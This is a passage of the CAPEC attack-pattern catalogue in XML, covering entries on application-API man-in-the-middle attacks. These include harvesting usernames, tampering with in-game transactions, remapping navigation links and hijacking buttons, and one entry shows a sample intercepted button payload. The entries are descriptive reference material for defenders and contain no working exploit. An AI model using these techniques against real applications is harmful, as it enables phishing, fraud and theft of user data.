				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>154<!--Resource Location Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name and
							Related Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="383"
			Name="Harvesting Usernames or UserIDs via Application API Event Monitoring"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker hosts an event within an application framework and then
						monitors the data exchanged during the course of the event for the purpose
						of harvesting any important data leaked during the transactions. One example
						could be harvesting lists of usernames or userIDs for the purpose of sending
						spam messages to those users. One example of this type of attack involves
						the attacker creating an event within the sub-application. Assume the
						attacker hosts a "virtual sale" of rare items. As other users enter the
						event, the attacker records via MITM proxy the user_ids and usernames of
						everyone who attends. The attacker would then be able to spam those users
						within the application using an automated script.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Application Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Client-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Web Application</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="HTTP" RFC="2616">
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="Transmission Control Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Targeted software is utilizing application framework APIs</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>A software program that allows a user to man-in-the-middle communications
					between the client and server, such as a man-in-the-middle proxy.</Text>
			</Resources_Required>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>311<!--Missing Encryption of Sensitive Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>319<!--Cleartext Transmission of Sensitive Information--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>419<!--Unprotected Primary Channel--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>602<!--Client-Side Enforcement of Server-Side Security--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>117<!--Data Interception Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Tom Stracener</Reference_Author>
					<Reference_Author>Sean Barnum</Reference_Author>
					<Reference_Title>So Many Ways [...]: Exploiting Facebook and
						YoVille</Reference_Title>
					<Reference_Publisher>Defcon 18</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-10-27</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-10-27</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="384" Name="Application API Message Manipulation via Man-in-the-Middle"
			Pattern_Abstraction="Meta" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker manipulates either egress or ingress data from a client within
						an application framework in order to change the content of messages.
						Performing this attack can allow the attacker to gain unauthorized
						privileges within the application, or conduct attacks such as phishing,
						deceptive strategies to spread malware, or traditional web-application
						attacks. The techniques require use of specialized software that allow the
						attacker to man-in-the-middle communications between the web browser and the
						remote system. Despite the use of MITM software, the attack is actually
						directed at the server, as the client is one node in a series of content
						brokers that pass information along to the application framework.
						Additionally, it is not true "Man-in-the-Middle" attack at the network
						layer, but an application-layer attack the root cause of which is the master
						applications trust in the integrity of code supplied by the client. </Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Application Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="HTTP" RFC="2616">
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="Transmission Control Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Targeted software is utilizing application framework APIs</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>A software program that allows a user to man-in-the-middle communications
					between the client and server, such as a man-in-the-middle proxy.</Text>
			</Resources_Required>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>471<!--Modification of Assumed-Immutable Data (MAID)--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>345<!--Insufficient Verification of Data Authenticity--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>346<!--Origin Validation Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>602<!--Client-Side Enforcement of Server-Side Security--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>311<!--Missing Encryption of Sensitive Data--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>94<!--Man in the Middle Attack--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Tom Stracener</Reference_Author>
					<Reference_Author>Sean Barnum</Reference_Author>
					<Reference_Title>So Many Ways [...]: Exploiting Facebook and
						YoVille</Reference_Title>
					<Reference_Publisher>Defcon 18</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-10-27</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-10-27</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="385"
			Name="Transaction or Event Tampering via Application API Manipulation"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker hosts or joins an event or transaction within an application
						framework in order to change the content of messages or items that are being
						exchanged. Performing this attack allows the attacker to manipulate content
						in such a way as to produce messages or content that look authentic but may
						contain deceptive links, substitute one item or another, spoof an existing
						item and conduct a false exchange, or otherwise change the amounts or
						identity of what is being exchanged. The techniques require use of
						specialized software that allow the attacker to man-in-the-middle
						communications between the web browser and the remote system in order to
						change the content of various application elements. Often, items exchanged
						in game can be monetized via sales for coin, virtual dollars, etc. The
						purpose of the attack is for the attack to scam the victim by trapping the
						data packets involved the exchange and altering the integrity of the
						transfer process. </Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Application Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="HTTP" RFC="2616">
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="Transmission Control Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Targeted software is utilizing application framework APIs</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>A software program that allows a user to man-in-the-middle communications
					between the client and server, such as a man-in-the-middle proxy.</Text>
			</Resources_Required>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>471<!--Modification of Assumed-Immutable Data (MAID)--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>345<!--Insufficient Verification of Data Authenticity--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>346<!--Origin Validation Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>602<!--Client-Side Enforcement of Server-Side Security--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>311<!--Missing Encryption of Sensitive Data--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>384<!--Application API Message Manipulation via Man-in-the-Middle--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Sean Barnum</Reference_Author>
					<Reference_Author>Tom Stracener</Reference_Author>
					<Reference_Title>So Many Ways [...]: Exploiting Facebook and
						YoVille</Reference_Title>
					<Reference_Publisher>Defcon 18</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-10-27</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-10-27</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="386" Name="Application API Navigation Remapping"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker manipulates either egress or ingress data from a client within
						an application framework in order to change the destination and/or content
						of links/buttons displayed to a user within API messages. Performing this
						attack allows the attacker to manipulate content in such a way as to produce
						messages or content that looks authentic but contains links/buttons that
						point to an attacker controlled destination. Some applications make
						navigation remapping more difficult to detect because the actual HREF values
						of images, profile elements, and links/buttons are masked. One example would
						be to place an image in a user's photogallery that when clicked upon
						redirected the user to an off-site location. Also, traditional web
						vulnerabilities (such as CSRF) can be constructed with remapped buttons or
						links. In some cases navigation remapping can be used for Phishing attacks
						or even means to artificially boost the page view, user site reputation, or
						click-fraud. </Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="HTTP" RFC="2616">
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="Transmission Control Protocol" RFC="793">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Targeted software is utilizing application framework APIs</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>A software program that allows a user to man-in-the-middle communications
					between the client and server, such as a man-in-the-middle proxy.</Text>
			</Resources_Required>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>471<!--Modification of Assumed-Immutable Data (MAID)--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>345<!--Insufficient Verification of Data Authenticity--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>346<!--Origin Validation Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>602<!--Client-Side Enforcement of Server-Side Security--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>311<!--Missing Encryption of Sensitive Data--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>385<!--Transaction or Event Tampering via Application API Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Sean Barnum</Reference_Author>
					<Reference_Author>Tom Stracener</Reference_Author>
					<Reference_Title>So Many Ways [...]: Exploiting Facebook and
						YoVille</Reference_Title>
					<Reference_Publisher>Defcon 18</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-10-27</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-10-27</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="387" Name="Navigation Remapping To Propagate Malicoius Content"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker manipulates either egress or ingress data from a client within
						an application framework in order to change the content of messages and
						thereby circumvent the expected application logic. Performing this attack
						allows the attacker to manipulate content in such a way as to produce
						messages or content that look authentic but may contain deceptive links,
						spam-like content, or links to the attackers code. In general,
						content-spoofing within an application API can be employed to stage many
						different types of attacks varied based on the attacker's intent. When the
						goal is to spread malware, deceptive content is created such as modified
						links, buttons, or images, that entice users to click on those items, all of
						which point to a malicious URI. The techniques require use of specialized
						software that allow the attacker to man-in-the-middle communications between
						the web browser and the remote system in order to change the destination of
						various application interface elements. </Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Application Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="HTTP" RFC="2616">
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="Transmission Control Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Targeted software is utilizing application framework APIs</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>A software program that allows a user to man-in-the-middle communications
					between the client and server, such as a man-in-the-middle proxy.</Text>
			</Resources_Required>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>471<!--Modification of Assumed-Immutable Data (MAID)--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>345<!--Insufficient Verification of Data Authenticity--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>346<!--Origin Validation Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>602<!--Client-Side Enforcement of Server-Side Security--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>311<!--Missing Encryption of Sensitive Data--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>386<!--Application API Navigation Remapping--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Tom Stracener</Reference_Author>
					<Reference_Author>Sean Barnum</Reference_Author>
					<Reference_Title>So Many Ways [...]: Exploiting Facebook and
						YoVille</Reference_Title>
					<Reference_Publisher>Defcon 18</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-10-27</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-10-27</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="388" Name="Application API Button Hijacking"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker manipulates either egress or ingress data from a client within
						an application framework in order to change the destination and/or content
						of buttons displayed to a user within API messages. Performing this attack
						allows the attacker to manipulate content in such a way as to produce
						messages or content that looks authentic but contains buttons that point to
						an attacker controlled destination. For example, an in-game event occurs and
						the attacker traps the result, which turns out to be a form that will be
						populated to their primary profile. The attacker, using a MITM proxy,
						observes the following data:</Text>
					<Block>
						<Text>[Button][Claim_Item]Sourdough_Cookie[URL_IMG]foo[/URL_IMG][Claim_Link]bar[/Claim_Link]</Text>
					</Block>
					<Text>By altering the destination of "Claim_Link" to point to the attackers
						server an unwitting victim can be enticed to click the link. Another example
						would be for the attacker to rewrite the button destinations for an event so
						that clicking "Yes" or "No" causes the user to load the attackers code.
					</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Application Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="HTTP" RFC="2616">
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
									<Related_Protocol Name="Transmission Control Protocol" RFC="793">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Targeted software is utilizing application framework APIs</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>A software program that allows a user to man-in-the-middle communications
					between the client and server, such as a man-in-the-middle proxy.</Text>
			</Resources_Required>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>471<!--Modification of Assumed-Immutable Data (MAID)--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>345<!--Insufficient Verification of Data Authenticity--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>346<!--Origin Validation Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>602<!--Client-Side Enforcement of Server-Side Security--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>311<!--Missing Encryption of Sensitive Data--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>386<!--Application API Navigation Remapping--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Tom Stracener</Reference_Author>
					<Reference_Author>Sean Barnum</Reference_Author>
					<Reference_Title>So Many Ways [...]: Exploiting Facebook and
						YoVille</Reference_Title>
					<Reference_Publisher>Defcon 18</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-10-27</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-10-27</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="389" Name="Content Spoofing Via Application API Manipulation"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker manipulates either egress or ingress data from a client within
						an application framework in order to change the content of messages.
						Performing this attack allows the attacker to manipulate content in such a
						way as to produce messages or content that look authentic but may contain
						deceptive links, spam-like content, or links to the attackers code. In
						general, content-spoofing within an application API can be employed to stage
						many different types of attacks varied based on the attacker's intent. The
